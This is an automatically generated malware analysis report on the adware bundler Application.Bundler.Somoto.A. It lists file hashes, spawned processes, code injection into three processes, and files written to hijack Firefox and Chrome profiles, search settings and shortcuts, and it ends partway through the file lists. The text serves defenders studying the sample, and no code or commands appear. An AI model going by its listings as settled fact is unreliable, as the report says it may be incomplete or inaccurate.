Application.Bundler.Somoto.A_2140c12424

by malwarelabrobot on February 25th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.A (AdAware), SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 2140c12424d296d2f086d01968cff5a1
SHA1: 69c5c936f44b53f3918b644429a243aa252262ea
SHA256: d2fb504137ae411242d91dc23cecde810759976b8ebc59f2afaed376de971490
SSDeep: 3072:L22ihA0m3BJP0vNwW1HSOr6QXJVlfbWzMQovTcmGBbJxPppgDp4M1EWgfv:kA0m3D0v71HAQZHWJovTIBXsDWM1QX
Size: 161984 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

cmdshell.exe:972
BaofengUpdate.exe:932
BaofengUpdate.exe:3000
YTAHelper.exe:2860
ProtectWindowsManager.exe:2136
ProtectWindowsManager.exe:2796
YouTubeAcceleratorService.exe:2112
YouTubeAcceleratorService.exe:2392
YouTubeAcceleratorService.exe:3696
ins_postInst.exe:1836
ProtectService.exe:3636
ProtectService.exe:3776
jsdrv.exe:1688
biclient.exe:3444
biclient.exe:2192
wpm_v20.0.0.1714_0204.exe:2588
ins_yta.exe:4076
GLBD5F4.tmp:3948
setup.exe:2344
setup.exe:904
testlsp.exe:2936
STab_Down_6.0.6.8.exe:3144
WerFault.exe:1680
WerFault.exe:3044
ShopperPro.exe:3932
ins_shopperpro.exe:3484
%original file name%.exe:2108
HPNotify.exe:1800
regsvr32.exe:3612
regsvr32.exe:1996
regsvr32.exe:576
regsvr32.exe:2496
regsvr32.exe:2412
regsvr32.exe:3932
lspinst.exe:3972
lspinst.exe:3640
YTAHEL~1.EXE:2924
GLJD681.tmp:4044
DCytaiesmt_smtyc_setup.exe:472
spbiu.exe:3980
spbiu.exe:4036
wscript.exe:3480
XTab_v4.0.exe:4080
taskeng.exe:3736
ytaiesmt_smtyc_setup.exe:3048

The Application injects its code into the following process(es):

YouTubeAcceleratorService.exe:1816
YouTubeAccelerator.exe:2520
biclient.exe:2844

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process cmdshell.exe:972 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)

The process BaofengUpdate.exe:932 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\AD42.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\BFVUpdateM.dll (110 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\AD21.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\include\tools\misc.js (2 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\AD31.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\AD10.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424736265_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)

The process BaofengUpdate.exe:3000 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\STab_Down_6.0.6.8.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\RegWrite.exe (86 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\422.db (260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)

The process YTAHelper.exe:2860 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (486 bytes)
C:\ProgramData\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)

The process ProtectWindowsManager.exe:2136 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)

The process YouTubeAcceleratorService.exe:2392 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process YouTubeAcceleratorService.exe:1816 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBCED70.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1816_YouTubeAcceleratorService.log (241917 bytes)
C:\Windows\Temp\SBCBEE4.tmp (486 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC1D33.tmp (44 bytes)
C:\Windows\Temp\SBC1610.tmp (44 bytes)
C:\Windows\Temp\SBC192D.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_1816.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6725 bytes)
C:\Windows\Temp\SBCBEC4.tmp (486 bytes)
C:\Windows\Temp\SBCBB88.tmp (486 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBCD77.tmp (98 bytes)
C:\Windows\Temp\SBC30D4.tmp (547 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
C:\Windows\Temp\SBC1F85.tmp (51193 bytes)

The process ins_postInst.exe:1836 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_23023\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_23023\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_30361\ins_shopperpro.exe (19010 bytes)

The process ProtectService.exe:3776 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)

The process YouTubeAccelerator.exe:2520 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2F3D.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2FA0.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2936_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2936_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk3004.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_2520.log (78611 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk303B.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_1816.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk3016.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk3029.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2F8D.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2F9E.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2936.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (211318 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk303D.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1816_YouTubeAcceleratorService.log_tmp (48 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk304E.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_2520.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2FB2.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk3027.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
